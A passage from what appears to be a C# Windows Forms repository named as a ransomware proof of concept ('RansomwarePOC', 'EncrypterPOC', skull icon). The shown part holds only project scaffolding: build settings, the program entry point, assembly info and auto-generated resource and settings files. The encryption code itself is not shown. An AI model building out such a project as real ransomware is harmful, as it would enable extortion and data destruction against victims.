prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | skull_rip.ico 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | Form 54 | 55 | 56 | Encrypter.cs 57 | 58 | 59 | 60 | 61 | Encrypter.cs 62 | 63 | 64 | ResXFileCodeGenerator 65 | Resources.Designer.cs 66 | Designer 67 | 68 | 69 | True 70 | Resources.resx 71 | 72 | 73 | SettingsSingleFileGenerator 74 | Settings.Designer.cs 75 | 76 | 77 | True 78 | Settings.settings 79 | True 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace RansomwarePOC 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("WindowsFormsApp1")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("WindowsFormsApp1")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("05c139ec-1f59-4bdf-8dec-1d7100c6e4cc")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace RansomwarePOC.Properties 13 | { 14 | /// 15 | /// A strongly-typed resource class, for looking up localized strings, etc. 16 | /// 17 | // This class was auto-generated by the StronglyTypedResourceBuilder 18 | // class via a tool like ResGen or Visual Studio. 19 | // To add or remove a member, edit your .ResX file then rerun ResGen 20 | // with the /str option, or rebuild your VS project. 21 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 22 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 23 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 24 | internal class Resources 25 | { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() 33 | { 34 | } 35 | 36 | /// 37 | /// Returns the cached ResourceManager instance used by this class. 38 | /// 39 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 40 | internal static global::System.Resources.ResourceManager ResourceManager 41 | { 42 | get 43 | { 44 | if ((resourceMan == null)) 45 | { 46 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("WindowsFormsApp1.Properties.Resources", typeof(Resources).Assembly); 47 | resourceMan = temp; 48 | } 49 | return resourceMan; 50 | } 51 | } 52 | 53 | /// 54 | /// Overrides the current thread's CurrentUICulture property for all 55 | /// resource lookups using this strongly typed resource class. 56 | /// 57 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 58 | internal static global::System.Globalization.CultureInfo Culture 59 | { 60 | get 61 | { 62 | return resourceCulture; 63 | } 64 | set 65 | { 66 | resourceCulture = value; 67 | } 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace RansomwarePOC.Properties 13 | { 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 17 | { 18 | 19 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 20 | 21 | public static Settings Default 22 | { 23 | get 24 | { 25 | return defaultInstance; 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /WindowsFormsApp1/images/skull_rip.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joshmadakor1/EncrypterPOC/ac8b8c69eb82f494b9e4fb8b37316d42bd4d488c/WindowsFormsApp1/images/skull_rip.ico -------------------------------------------------------------------------------- /WindowsFormsApp1/images/skull_rip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joshmadakor1/EncrypterPOC/ac8b8c69eb82f494b9e4fb8b37316d42bd4d488c/WindowsFormsApp1/images/skull_rip.png -------------------------------------------------------------------------------- /WindowsFormsApp1/skull_rip.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joshmadakor1/EncrypterPOC/ac8b8c69eb82f494b9e4fb8b37316d42bd4d488c/WindowsFormsApp1/skull_rip.ico --------------------------------------------------------------------------------